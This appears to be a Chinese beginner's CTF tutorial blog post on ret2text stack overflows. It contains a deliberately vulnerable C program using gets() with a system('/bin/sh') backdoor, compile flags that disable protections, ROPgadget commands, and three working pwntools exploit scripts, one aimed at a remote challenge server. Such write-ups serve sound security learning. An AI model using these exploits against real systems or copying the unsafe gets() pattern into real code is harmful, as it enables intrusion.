ctf pwn基础-3

学习pwn的第三天,今天是ret2text。

目录

基础

实例讲解

实例讲解2



基础

ret2text就是ROP中最简单的,然后的意思就是我们利用栈溢出,来修改eip的值,让他输出的时候,输出我们想要执行的本身已有的代码,通常都是/bin/sh、sh、$0,$0可以在自己本地echo一下就知道是什么了

但是64位还是有一些不一样的,他执行函数都会有一个rdi,64位中我们是要更改rdi的值的。

 


实例讲解

这里是我们的示例代码,因为gets中的值,我们是可以自己随便定义的,但是gets可以接收无限的值,所以这里一定是存在溢出,所以通常gets函数的值,我们可以自己定义,通常都是存在溢出的。

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

void secure(void) {
    int secretcode, input;
    srand(time(NULL));

    secretcode = rand();
    scanf("%d", &input);
    if (input == secretcode)
        system("/bin/sh");
}

int main(void) {
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdout, 0LL, 1, 0LL);

    char s[100];

    puts("shu ru ni de zhi?");
    gets(s);
    printf("yes yes yes");

    return 0;
}
gcc -z noexecstack -no-pie -z norelro -fno-stack-protector 04.c -o 4

 编译好,这里使用checksec查看知道了只开启了NX,这里是64位的,接下来使用ida查看。

 

这里我们发现main中存在gets函数而且,我们可以自定义就注定了溢出,然后接下来就是计算偏移量就是成员变量和rbp一共的值,这里ida已经告诉我们了,这里距离rbp 0x70,就是112,然后64位中的rbp是8个字节,所以一共是120个。

接下来,然后再secure方法中,我们发现了一个后门,这里可以看到这里有了rdi、/bin/sh、system,就是/bin/sh先被压入栈然后被system执行,所以我们可以直接溢出定位到这里就可以了直接获得shell了。

但是注意在ida中获取的偏移量不一定正确,这里去ubuntu中动态调试一下,使用gdb打开,我们首先使用cyclic生成一个200长度的字符串,我们直接run,然后输入值

这里是溢出,但是我们没有获得一个返回的一个错误的地址,就不能使用cyclic计算偏移量了,这里还有一种方法就是直接试。

这里我们使用cyclic生成一个120长度的字符串,输入进去,这里看到他是溢出,但是少一个他就没有溢出了,所以这样也可以确定偏移量。

from pwn import *

context.log_level = 'debug'

#打开一个新的进程
p = process("./4")

#这里是/bin/sh压入栈的那里的真实地址
sh = 0x000000000040127B

payload = b'a'*(0x70+8) + p64(sh)

# 检测到值才发送payload
p.sendlineafter('zhi?\n',payload)

p.interactive()

但是这里可能会遇到用不了的情况,或者真实的时候system和/bin/sh并没有在一起,这样就可以使用另一种方法了,接下来介绍一个很好用的工具ROPgadget,这个是需要自己下的。

这里4是我们编译好的文件不是什么参数哦,然后后面查找/bin/sh

ROPgadget --binary 4 --string "/bin/sh"

 

这里我们就获得了/bin/sh的真实地址了,然后使用ROPgadget来获得rdi的真实地址

ROPgadget --binary 4 --only "pop|ret"

 接下来就可以写脚本了

from pwn import *

context.log_level = 'debug'

# 新建一个进程
p = process("./4")

# 获取文件句柄
elf = ELF('./4')

# 这里直接从plt表直接获得system函数
system_plt = elf.plt['system']

# 这里是我们获得/bin/sh的值
sh = 0x0000000000402007

# 这个是我们获得rdi的值
rdi = 0x0000000000401373

# 这个是main函数ret的地址
ret = 0x0000000000401306

payload = b'a'*(0x70+8) + p64(ret) + p64(rdi) + p64(sh) + p64(system_plt)

p.sendlineafter('zhi?',payload)

p.interactive()                 

其实这里你可以发现和这里好像,溢出以后先return到rdi然后压入/bin/sh,最后使用system函数执行。

 


实例讲解2

NSSCTF pwn的第三题

这里我们先把东西下过来,使用ida看看

main是直接进入func方法的,这里直接去func方法中看看。

这里存在gets而且是我们可以自定义的,这样就是存在溢出了,然后看看偏移量,就是0x30加上rbp的值就是8,0x30+8=56,这里在ubuntu调试看看。

这里看到56个的时候就溢出了,但是少一个就没有溢出了,所以可以确定偏移量就是56了

 

这里我们现在本地调试一下

from pwn import *

p = process("./PWN1")
#p = remote("1.14.71.254",28894)

off = 0x30 + 8

sh = 0x00000000004006BE

payload = b'a'*off + p64(sh)

p.sendlineafter('number.\n',payload)

p.interactive()

 这里看到是直接读取了根目录的flag了,那么将上面remote的注释去掉,然后把process注释掉就可以了。

猜你喜欢

转载自blog.csdn.net/m0_64815693/article/details/129201282